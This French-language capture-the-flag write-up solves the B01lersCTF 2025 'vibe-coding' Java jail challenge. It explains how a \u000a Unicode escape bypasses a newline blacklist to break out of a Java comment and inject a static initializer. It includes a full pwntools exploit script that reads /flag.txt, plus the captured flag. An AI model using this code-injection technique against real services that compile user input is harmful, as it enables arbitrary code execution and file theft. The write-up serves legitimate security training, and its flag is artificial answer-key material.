B01lersCTF 2025 : vibe-coding | Jail
Challenge : vibe-coding
Enoncé :
b01lers is looking for a vibe coder to fix our Java codebase! Just write a comment, and our bleeding-edge LLM agent will fill in the rest.*
Disclaimer: model not yet implemented.
Un service écoute sur vibe-coding.atreides.b01lersc.tf:8443
. Il affiche un banner ASCII art, puis :
Enter your prompt below:
>
Le serveur prend une input comme commentaire Java, l’insère dans une template Main.java
puis compile et exécute :
// %s
public class Main {
public static void main(String[] args) {
// TODO: implement me
}
public static String getFlag() throws IOException {
throw new RuntimeException("Not implemented yet");
}
}
Le but est de faire en sorte que le flag (stocké dans /flag.txt
) soit lu et affiché automatiquement avant main
.
1. Analyse :
-
Le code insère votre chaîne dans un commentaire
// %s
, donc%s public…
. -
Les caractères
\r
et\n
sont blacklistés mais Java implémente un prétraitement Unicode très particulier : toute séquence\uXXXX
est substituée à son code Unicode avant l’analyse lexicale du code. -
Les static initializers (
static { … }
) sont exécutés lors du chargement de la classe, avant l’appel àmain
. -
On peut donc exploiter le commentaire initial (
// …
) en injectant un saut de ligne réel via un escape Unicode\u000a
(ou CRLF\u000d\u000a
), hors des blacklistes\n
/\r
.
2. Attaque :
-
Casser le commentaire
//
en transformant// …
en deux lignes (//
puis ), via\u000a
ou\u000d\u000a
. -
Injecter un bloc
static { … }
qui :-
Lit
/flag.txt
vianew BufferedReader(new FileReader("/flag.txt"))
. -
Affiche la ligne (le flag) avec
System.out.println(...)
. -
Appelle
System.exit(0)
pour éviter toute suite de compilation ou exécution demain
.
-
-
Laisser le reste de la template inchangé (ou rouvrir un
/*
non fermé pour éviter les erreurs de syntaxe. -
Exécuter le payload brut via un script Python + pwntools, en raw bytes pour préserver les backslashes.
3. Solve :
exploit.py :
#!/usr/bin/env python3
from pwn import remote
HOST, PORT = "vibe-coding.atreides.b01lersc.tf", 8443
# Payload : envoie littéralement les caractères '\u000astatic{…}'
payload = (
b"\\u000a" # \u000a → vrai LF pré‑parsing, termine le //
b"static{" # static initializer
b"try{System.out.println(" # lit et affiche le flag
b"new java.io.BufferedReader(new java.io.FileReader(\"/flag.txt\")).readLine()"
b");}catch(Exception e){}" # on attrape exceptions
b"System.exit(0);" # on quitte la JVM
b"}\n" # fin du static + LF
)
def main():
conn = remote(HOST, PORT, ssl=True)
conn.recvuntil(b"> ")
conn.send(payload)
# La JVM exécute static{…}, affiche le flag, puis exit(0)
data = conn.recvall(timeout=2)
print(data.decode(errors='ignore'))
if __name__ == '__main__':
main()
4. Flag :
$ python3 exploit.py
[+] Opening connection to vibe-coding.atreides.b01lersc.tf on port 8443: Done
[+] Receiving all data: Done (66B)
[*] Closed connection to vibe-coding.atreides.b01lersc.tf port 8443
Your program output:
bctf{un1c0d3_abn0rmal1z4t1on_493e42fc}
===